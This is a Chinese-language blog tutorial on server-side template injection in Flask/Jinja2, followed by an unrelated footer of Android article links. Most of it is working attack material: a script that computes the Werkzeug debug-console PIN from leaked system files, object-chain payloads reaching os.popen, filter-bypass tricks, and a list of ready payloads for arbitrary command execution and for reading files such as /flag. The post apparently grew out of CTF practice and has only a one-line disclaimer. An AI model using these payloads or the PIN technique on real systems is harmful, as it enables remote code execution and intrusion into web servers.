SSTI注入
创始人
2024-09-26 00:24:55
0

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅做分享~

目录

Flask官方文档

 SSTI利用条件:

验证ssti是否存在

Flask的console

总结:

get_pin.py脚本

SSTI的引用链:

突破过滤:

SSTI-payloads:


Flask官方文档

欢迎使用 Flask — Flask 文档 (3.0.x) (palletsprojects.com)

Flask: 5000 python 的一个中间件 ,负责提供http服务,类似与php 的  php-fpm  phpcgi   {{   }} render_template_string(request.args.get('id')) -->模板渲染的效果  服务器端模板注入(SSTI) 利用点

 

 SSTI利用条件:

渲染字符串可控,也就说模板的内容可控. 我们通过模板 语法 {{ xxx }} 相当于变相的执行了服务器上的python代码. 利用 render_template_string函数 参数可控,或者部分可控.  render_template    		 相当于 include 传入的时模板的名字,执行的时模板文件内的模板语法. render_template_string   相当于 eval 执行传入的字符串,直接作为模板语法解析.

 


验证ssti是否存在

    验证ssti是否存在--> 1 {{ 2*2 }}		 2 {{ config }}   -->得到一些配置项

Flask的console

如果开启了调试, 访问/console   ,需要PIN码,(在启动Flask时会自动生成) app.run(debug=True) --> 如果文件读取存在,可以拼凑出PIN的所有计算要素,从而自己计算出PIN码. 计算PIN码 modname: flask.app username: Administrator  public_bits 内容: ['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py'] 										报错看绝对路径 我们需要知道当前登陆的用户名  private_bits 内容: ['197975952026825', b'5d744fd6-d3af-4dec-83f4-04043f200c3c'] getNode     uuid.getnode machine_id  读注册表内容 

总结:

要计算PIN码,需要private_bits 和public_bits  分别需要确定的是: 1 python运行的脚本名 2 固定值  flask.app 3 固定值  Flask 4 当前脚本运行的绝对路径  --可以从报错获取 5 uuid.getnode 6 machine_id

get_pin.py脚本

# get_pin.py脚本 import hashlib from itertools import chain def getPIN(public_bits,private_bits):     rv = None     num = None     h = hashlib.sha1()     for bit in chain(public_bits, private_bits):         if not bit:             continue         if isinstance(bit, str):             bit = bit.encode("utf-8")         h.update(bit)     h.update(b"cookiesalt")      cookie_name = f"__wzd{h.hexdigest()[:20]}"      # If we need to generate a pin we salt it a bit more so that we don't     # end up with the same value and generate out 9 digits     if num is None:         h.update(b"pinsalt")         num = f"{int(h.hexdigest(), 16):09d}"[:9]      # Format the pincode in groups of digits for easier remembering if     # we don't have a result yet.     if rv is None:         for group_size in 5, 4, 3:             if len(num) % group_size == 0:                 rv = "-".join(                     num[x : x + group_size].rjust(group_size, "0")                     for x in range(0, len(num), group_size)                 )                 break         else:             rv = num      return rv, cookie_name if __name__ == "__main__":     # 运行此脚本,前提是拿到 private_bits 和 public_bits      public_bits=[     'Administrator',  #用户名     'flask.app',     'Flask',     'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py' # 路径. --报错获取 ]     private_bits=[         '197975952026825','5d744fd6-d3af-4dec-83f4-04043f200c3c'         #  nodeid                 machine_id       ]     PIN = getPIN(public_bits,private_bits)     print(PIN)   

例子:     读取-- ['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py'] ['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\Lib\\site-packages\\flask\\app.py']  ['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c'] ['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c'] ===================================================================== 用户名获取: 读 /etc/passwd ======================================================================= nodeid获取: linux下 getNode读取的文件  /sys/class/net/eth0/address --> 02:42:0a:00:01:74 对其进行整理 >>> s='02:42:0a:00:01:74' >>> s=s.replace(":","") >>> print(int(s[1:],16)) 2482658869620 ====================================================================== machine_id获取:  读   /proc/sys/kernel/random/boot_id ---> boot_id  05167573-d6ac-4836-ab76-a7897c7a600a 读	/proc/self/cgroup --> 67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e  machine_id /proc/sys/kernel/random/boot_id+/proc/self/cgroup 整理后 拼接 ----->最终machine_id 05167573-d6ac-4836-ab76-a7897c7a600a67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e ---------------------- os.popen('ls').read()

SSTI的引用链:

"".__class__.__base__     # 拿到Object对象 (根类) .__subclasses__()[144].   # 拿到os类 "".__class__.__base__.__subclasses__()[144]     # 拿到os类  __init__.__globals__['popen']('calc')   # 调用os类的popen方法,执行calc参数 "".__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('calc')   #调用os类的popen方法,执行calc参数 "".__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('calc')

突破过滤:

1 过滤字符. (点) "".__class__   转化为  ""['__class__'']  name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}   2 过滤下划线_ 第一种 构造下划线   {% set a =(()|select|string|list).pop(24) %} {% print(a) %} 第二种 十六进制绕过  {{  ()["\x5f\x5fclass\x5f\x5f"]  }}                                                  3 绕过[]过滤 __getitem__   可以把中括号换成小括号使用 name={{ "".__class__.__base__.__subclasses__().__getitem__(132) }}                                                  4 过滤了{{ 使用{% 绕过          5 过滤了单引号或者双引号 name={{ "".__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__[request.args.a](request.args.b).read() }} 外部传值 ?a=popen&b=ls /      6 过滤了数字 构造出1  {{(dict(e=a)|join|count)}}       7 关键字绕过 class  base   {{dict(__cl=a,ass__=a)|join}} 构造class             8 还可以使用全角的数字绕过 0123456789 

SSTI-payloads:

1、任意命令执行 {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%} 2、任意命令执行 {{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}} //这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload 3、任意命令执行 {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}} 4、任意命令执行 {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}} //x的含义是可以为任意字母,不仅仅限于x 5、任意命令执行 {{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}} 6、文件读取 {{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}} //x的含义是可以为任意字母,不仅仅限于x

相关内容

热门资讯

备忘安卓系统哪个好用,好用软件... 手机备忘录,这个小小的功能,却在我们忙碌的生活中扮演着大角色。想象每天的工作、学习、生活琐事,如果没...
返回老系统安卓手机,体验安卓老... 亲爱的手机控们,你是否也有过这样的经历:新系统刚出来的时候,你兴奋地升级了,结果发现,哎呀妈呀,这新...
安卓系统版本太不推送,用户等待... 亲爱的手机控们,你们有没有发现,最近安卓系统更新好像有点不给力呢?版本更新速度慢得让人抓狂,让人不禁...
ios系统和安卓图文,iOS与... 你有没有想过,为什么你的手机屏幕上总是出现那么多的图标和菜单?其实,这一切都离不开那个默默无闻的“灵...
win系统下切换安卓,双系统体... 亲爱的电脑迷们,你是否曾想过,在Windows系统的世界里,也能轻松穿梭到安卓的海洋?没错,今天我要...
电脑安卓国产双系统,一机多能新... 你有没有想过,你的电脑也能变身成安卓手机呢?没错,就是那种可以下载应用、玩游戏、看视频的安卓手机!今...
安卓系统u盘目录,轻松管理文件... 你有没有想过,你的安卓手机里那个小小的U盘,竟然能藏下那么多的秘密?今天,就让我带你一探究竟,揭开安...
安卓系统面容账单识别,安全便捷... 你有没有发现,现在手机里的新功能越来越神奇了?比如说,安卓系统里的面容账单识别,简直就像是个贴心的私...
CARLIFE安卓系统手机下载... 亲爱的车主朋友们,你们是不是也和我一样,对车载系统有着超乎寻常的热爱呢?想象在驾驶的过程中,一边享受...
安卓导航系统语言,智能导航体验... 你有没有发现,现在手机导航系统越来越智能了?尤其是安卓手机,导航功能强大到让人惊叹。今天,就让我带你...
蓝光机带安卓系统,创新科技引领... 你有没有想过,家里的电视是不是也能像手机一样,随时随地下载各种应用,畅游网络世界呢?现在,蓝光机带安...
安卓系统跑步音乐app,运动与... 你有没有发现,现在跑步已经不仅仅是一项运动了,它还成了一种潮流,一种生活态度。想象一边挥洒汗水,一边...
安卓推送系统默认通道,揭秘默认... 你有没有发现,现在手机上的App推送消息真是无处不在啊!有时候,你甚至还没来得及看一眼,手机就“叮咚...
安卓系统老杀进程,lmkd进程... 你有没有发现,你的安卓手机有时候就像个调皮的小孩子,总是时不时地“杀”掉一些后台运行的进程。这可真是...
远程温控系统安卓界面,远程温控... 你有没有想过,在寒冷的冬日里,不用离开温暖的被窝,就能轻松调节家里的暖气温度?或者是在炎炎夏日,你在...
安卓手机申请鸿蒙系统,详细步骤... 你有没有想过,你的安卓手机也能变身成为超级英雄?没错,就是那个传说中的鸿蒙系统!听说这个系统能让你的...
诺基亚怎么变安卓系统,转换之路... 你有没有想过,把你的诺基亚手机变成安卓系统,让它焕发第二春呢?想象原本只认识Windows系统的诺基...
安卓系统手表京东自营,安卓系统... 你有没有想过,手腕上戴一块智能手表,就像是给你的生活添了一抹科技的色彩呢?想象在忙碌的都市生活中,你...
安卓系统语言设置选项,个性化您... 亲爱的手机控们,你们有没有遇到过这种情况:看着手机上的英文菜单,一脸懵逼,心里默默念叨:“这啥玩意儿...
修改安卓系统内存位置,释放手机... 手机内存不够用,是不是让你头疼得要命?别急,今天就来教你一招,轻松修改安卓系统内存位置,让你的手机瞬...